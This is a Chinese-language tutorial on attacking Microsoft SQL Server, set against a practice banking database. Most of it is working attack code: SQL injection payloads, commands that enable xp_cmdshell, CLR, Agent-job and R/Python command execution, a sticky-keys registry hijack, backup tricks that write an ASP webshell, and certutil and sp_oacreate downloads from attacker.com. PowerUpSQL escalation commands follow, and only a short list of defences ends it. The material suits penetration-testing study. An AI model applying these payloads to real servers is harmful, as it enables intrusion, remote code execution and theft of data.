从0开始学习Microsoft SQL Server数据库攻防
字数 1231 2025-08-29 08:31:35
Microsoft SQL Server数据库攻防完全指南
一、SQL Server环境搭建
1. 安装配置
- 选择混合模式身份验证,设置密码如
1QAZ2wsx - 启用TCP/IP协议,重启SQL Server服务
- 默认使用端口:TCP-1433、UDP-1434
- 开启IIS服务和ASP.NET支持
2. 测试环境搭建
- 创建数据库:
create database FoundStone_Bank - 创建表结构:导入提供的SQL脚本
- 部署SQL注入测试页面,修改连接字符串:
private static string strSqlConnectionString = @"SERVER=.;UID=sa;PWD=1QAZ2wsx;DATABASE=FoundStone_Bank";
二、SQL Server基础架构
1. 系统数据库
- master:记录系统级信息
- model:用户数据库模板
- msdb:存储任务计划、备份恢复信息
- tempdb:临时对象存储区
2. 对象类型标识
| 标识 | 对象类型 |
|---|---|
| C | CHECK约束 |
| D | 默认值约束 |
| F | 外键约束 |
| FN | 标量函数 |
| IF | 内嵌表函数 |
| P | 存储过程 |
| PK | 主键约束 |
| S | 系统表 |
| TF | 表函数 |
| TR | 触发器 |
| U | 用户表 |
| V | 视图 |
| X | 扩展存储过程 |
三、SQL Server信息收集技术
1. 基础信息探测
-- 判断当前用户
1 and user>0; --
-- 判断数据库类型
1 and (select count(*) from sysobjects)>0 -- MSSQL
1 and (select count(*) from mysysobjects)>0 -- Access
-- 获取版本信息
1 and 1=(select @@version)
-- 获取当前数据库名
1 and db_name()>0; --
-- 获取服务名
1 and 1=(select @@servername)
2. 权限判断
-- 服务器角色判断
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('serveradmin'))
-- 数据库角色判断
select IS_MEMBER('db_owner')
-- 数据库访问权限
1 and 1=(select HAS_DBACCESS('master'))
四、SQL注入技术详解
1. 手工注入流程
-- 获取表名
1 and 1=(select top 1 name from sysobjects where xtype='u' and name!='info')
-- 获取列名
1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='fsb_accounts') and name<>'id')
-- 获取数据
1 and 1=(select top 1 account_no from fsb_accounts)
2. 报错注入
1 and 1=convert(int,@@version)
1 and 1=(select CAST(USER as int))
3. 盲注技术
-- 布尔盲注
1 and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1))>=109
-- 时间盲注
1; if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5' --
4. 联合注入
- MSSQL联合注入建议使用NULL而非数字占位,避免隐式转换问题
五、危险存储过程利用
1. xp_cmdshell
-- 检查是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
-- 启用xp_cmdshell
exec sp_configure 'show advanced options',1; reconfigure;
exec sp_configure 'xp_cmdshell',1; reconfigure;
-- 执行系统命令
exec master.dbo.xp_cmdshell 'whoami'
exec master..xp_cmdshell 'systeminfo | findstr /B /C:"OS Name"'
2. 注册表操作
-- 读取注册表
exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode'
-- 写入注册表(劫持粘滞键)
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';
3. 文件系统操作
-- 检查文件存在
exec xp_fileexist 'C:\Windows\System32\cmd.exe'
-- 列目录
exec xp_dirtree 'C:\',1,1
exec xp_subdirs 'C:\'
六、高级攻击技术
1. CLR集成攻击
-- 启用CLR
sp_configure 'show advanced options',1; RECONFIGURE;
sp_configure 'clr enabled',1; RECONFIGURE;
ALTER DATABASE master SET TRUSTWORTHY ON;
-- 导入程序集
CREATE ASSEMBLY [mssql_CLR] FROM 0x4D5A... WITH PERMISSION_SET=UNSAFE;
-- 创建存储过程
CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR(MAX) AS EXTERNAL NAME [mssql_CLR].[StoredProcedures].[ExecCommand]
-- 执行命令
exec dbo.ExecCommand "whoami /all";
2. SQL Server Agent Job
-- 创建计划任务执行命令
USE msdb;
EXEC dbo.sp_add_job @job_name=N'test_powershell_job1';
EXEC sp_add_jobstep @job_name=N'test_powershell_job1', @step_name=N'test_powershell_name1',
@subsystem=N'PowerShell', @command=N'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt';
EXEC dbo.sp_add_jobserver @job_name=N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1';
3. R/Python脚本执行
-- 启用外部脚本
EXEC sp_configure 'external scripts enabled',1 RECONFIGURE WITH OVERRIDE
-- R脚本执行命令
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
-- Python脚本执行命令
exec sp_execute_external_script
@language=N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))
七、Getshell技术
1. 差异备份Getshell
-- 创建表并插入一句话
create table [dbo].[test]([cmd][image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
-- 差异备份
backup database 库名 to disk='C:\inetpub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;
2. 日志备份Getshell
-- 设置恢复模式
alter database 库名 set RECOVERY FULL
-- 创建表并插入一句话
create table cmd(a image)
backup log 库名 to disk='c:\xxx' with init
insert into cmd(a) values(0x3C25657865637574652872657175657374282261222929253E)
backup log 库名 to disk='c:\xxx\2.asp'
八、提权技术
1. 利用xp_cmdshell下载执行
exec master.dbo.xp_cmdshell 'cd c:\www & certutil -urlcache -split -f http://attacker.com/file.exe'
exec master.dbo.xp_cmdshell 'cd c:\www & file.exe'
2. 利用sp_oacreate
-- 启用Ole Automation Procedures
EXEC sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE WITH OVERRIDE;
-- 下载文件
DECLARE @B varbinary(8000),@hr int,@http INT,@down INT
exec sp_oacreate [Microsoft.XMLHTTP],@http output
EXEC @hr = sp_oamethod @http,[Open],null,[GET],[http://attacker.com/shell.txt],0
EXEC @hr = sp_oamethod @http,[Send],null
EXEC @hr = sp_OAGetProperty @http,[responseBody],@B output
exec sp_oacreate [ADODB.Stream],@down output
exec sp_OASetProperty @down,[Type],1
exec sp_OASetProperty @down,[mode],3
exec sp_oamethod @down,[Open],null
exec sp_oamethod @down,[Write],null,@B
exec sp_oamethod @down,[SaveToFile],null,[C:\test\s.aspx],1
九、PowerUpSQL工具使用
1. 发现SQL实例
# 本地实例发现
Get-SQLInstanceLocal -Verbose
# 域内实例发现
Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -username sa -password 1QAZ2wsx
2. 提权与命令执行
# 提权为sysadmin
Invoke-SQLEscalatePriv -Verbose -Instance SQLServer1
# 使用xp_cmdshell执行命令
$Targets | Invoke-SQLOSCmd -Verbose -Command "Whoami" -Threads 10
# CLR执行命令
$Targets | Invoke-SQLOSCLR -Verbose -Command "Whoami"
# Agent Job执行命令
$Targets | Invoke-SQLOSCmdAgentJob -Verbose -SubSystem CmdExec -Command "echo hello > c:\temp\test.txt"
十、防御建议
- 最小权限原则:应用程序账户使用最低必要权限
- 禁用危险组件:禁用xp_cmdshell、Ole Automation Procedures等
- 输入验证:对所有用户输入进行严格过滤
- 错误处理:自定义错误页面,避免泄露系统信息
- 定期审计:检查存储过程和扩展存储过程的使用情况
- 更新补丁:及时安装SQL Server安全更新
- 网络隔离:限制SQL Server的网络访问权限
- 日志监控:启用并监控SQL Server的登录和操作日志
通过本指南,您已全面掌握SQL Server从基础到高级的攻防技术。请务必在合法授权范围内使用这些技术,并加强自身系统的安全防护。